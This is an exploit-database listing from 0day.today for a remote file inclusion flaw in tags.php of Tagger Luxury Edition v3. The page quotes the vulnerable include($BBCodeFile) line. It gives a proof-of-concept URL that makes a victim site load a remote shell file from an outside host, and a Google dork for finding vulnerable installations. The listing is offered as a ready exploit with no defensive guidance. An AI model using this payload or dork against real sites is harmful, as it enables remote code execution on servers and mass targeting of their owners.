[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability

Author
Morgan
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-671
Category
web applications
Date add
08-08-2006
Platform
unsorted
====================================================================
Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability
====================================================================




Tagger v3 <= BBCodeFile Remote file inclusion

Discovered by : Morgan

Error in : tags.php
include($BBCodeFile);

Vendor Website: http://www.venturenine.com

PoC: 
http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat?

Google dork:

intitle:"Tagger LE" inurl:tags.php




#  0day.today [2024-12-25]  #